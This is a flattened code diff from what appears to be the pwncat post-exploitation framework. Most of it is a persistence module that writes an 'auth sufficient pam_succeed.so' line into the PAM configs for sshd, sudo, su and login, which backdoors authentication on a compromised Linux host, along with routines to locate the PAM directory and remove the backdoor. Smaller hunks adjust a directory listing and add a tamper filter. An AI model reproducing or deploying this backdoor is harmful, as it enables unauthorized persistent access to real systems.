for i, line in enumerate(content):
# We either insert after the rootok line or before the first
# auth line, depending on if rootok is present
if contains_rootok and "pam_rootok" in line:
content.insert(i + 1, new_line)
elif not contains_rootok and line.startswith("auth"):
content.insert(i, new_line)
break
else:
content.append(new_line)
content = "".join(content)
try:
with pwncat.victim.open(config, "w", length=len(content)) as filp:
filp.write(content)
except (PermissionError, FileNotFoundError):
continue
pwncat.victim.tamper.created_file(log)
def remove(self, **unused):
""" Remove this module """
try:
# Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security"
yield Status("locating pam modules")
results = (
pwncat.victim.run(
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
)
.strip()
.decode("utf-8")
)
if results != "":
results = results.split("\n")
pam_modules = os.path.dirname(results[0])
yield Status(f"pam modules located at {pam_modules}")
# Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules)
if (Access.DIRECTORY | Access.WRITE) in access:
# Remove the the module
pwncat.victim.env(
["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
)
new_line = "auth\tsufficient\tpam_succeed.so\n"
# Remove this auth method from the following pam configurations
for config in ["sshd", "sudo", "su", "login"]:
config = os.path.join("/etc/pam.d", config)
try:
with pwncat.victim.open(config, "r") as filp:
content = filp.readlines()
except (PermissionError, FileNotFoundError):
continue
# Add this auth statement before the first auth statement
content = [line for line in content if line != new_line]
content = "".join(content)
try:
with pwncat.victim.open(
config, "w", length=len(content)
) as filp:
filp.write(content)
except (PermissionError, FileNotFoundError):
continue
else:
raise PersistError("insufficient permissions")
except FileNotFoundError as exc:
# Uh-oh, some binary was missing... I'm not sure what to do here...
raise PersistError(f"[red]error[/red]: {exc}")
def escalate(self, user: str, password: str, log: str) -> bool:
""" Escalate to the given user with this module """
def connect(self, user: str, password: str, log: str) -> socket.SocketType:
""" Connect to the victim with this module """

View File

@ -1386,7 +1386,7 @@ class Victim:
raise PermissionError raise PermissionError
with self.subprocess( with self.subprocess(
["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r" ["ls", "--color=never", "--all", "-1", path], stderr="/dev/null", mode="r"
) as pipe: ) as pipe:
for line in pipe: for line in pipe:
line = line.strip().decode("utf-8") line = line.strip().decode("utf-8")

View File

@ -158,6 +158,11 @@ class TamperManager:
for tracker in pwncat.victim.host.tampers: for tracker in pwncat.victim.host.tampers:
yield pickle.loads(tracker.data) yield pickle.loads(tracker.data)
def filter(self, base=Tamper):
for tamper in self:
if isinstance(tamper, base):
yield tamper
def __len__(self): def __len__(self):
return len(pwncat.victim.host.tampers) return len(pwncat.victim.host.tampers)